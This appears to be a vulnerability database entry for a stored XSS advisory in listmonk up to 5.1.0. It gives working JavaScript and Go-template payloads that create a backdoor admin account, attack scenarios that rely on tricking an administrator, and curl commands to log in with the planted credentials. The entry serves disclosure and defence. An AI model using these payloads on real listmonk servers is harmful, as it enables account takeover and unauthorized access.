logo

Database

Server side cross-site scripting In github.com/knadh/listmonk

Description

listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting


Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.


Required Attacker Permissions

campaigns:manage    - Create/edit campaigns
campaigns:get       - View campaigns  
lists:get_all       - Access lists
templates:get       - Access templates

Note: These are common permissions for content managers who are not full admins.


Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: '{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>...

Vector 2: Go Template Safe Function

{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}

Attack Scenarios

Scenario 1: Campaign Preview Attack

    Attacker creates campaign with XSS payload

    Request is made to super admin: "Please review my newsletter draft"

    Super admin opens campaign and clicks Preview

    XSS executes → Backdoor admin account created

    Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

    Attacker creates campaign with XSS payload

    Attacker enables Archive for the campaign

    Attacker shares archive link: http://localhost:9000/archive/{uuid}

    Super admin visits the link (no preview click needed!)

    XSS executes automatically → Account takeover


Proof of Concept

Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body:

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    username: 'backdoor',
    email: 'backdoor@evil.com', ...

Step 2: Enable Archive (Optional - for link-based attack)

    Edit campaign settings

    Enable "Archive"

    Copy archive URL: http://localhost:9000/archive/{campaign-uuid}

Step 3: Trigger Execution

Option A - Preview:

    Send campaign to super admin for "review"

    Super admin previews → XSS fires

Option B - Archive Link:

    Share archive URL with super admin

    Super admin visits link → XSS fires automatically

Step 4: Verify Takeover

# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" \
  -d "username=backdoor&password=Hacked123" \
  -c cookies.txt -L

# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"

Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign]

Screenshot 2025-12-27 170259

[Screenshot 2: Super admin previewing campaign]

image

[Screenshot 3: Backdoor user successfully created]

Screenshot 2025-12-27 170413

Impact

Action
Possible via XSS

Affected Components

Component
XSS Works?
Method

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Component
Affected version
Patched versions